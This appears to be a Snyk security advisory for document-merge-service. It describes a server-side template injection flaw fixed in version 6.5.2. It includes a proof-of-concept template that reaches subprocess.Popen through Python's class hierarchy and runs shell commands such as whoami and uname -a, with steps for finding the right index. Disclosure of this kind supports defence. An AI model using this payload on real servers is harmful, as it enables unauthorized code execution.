Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade document-merge-service
to version 6.5.2 or higher.
document-merge-service is a Merge Document Template Service
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine in the server's context, where it is executed as the user with the UID 901. An attacker can execute arbitrary code on the server by injecting malicious templates.
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.class.mro[1].subclasses()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a: {{ PLACEHOLDER.class.mro[1].subclasses()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}
and then get the index of subprocess.Popen
and replace 202 with that.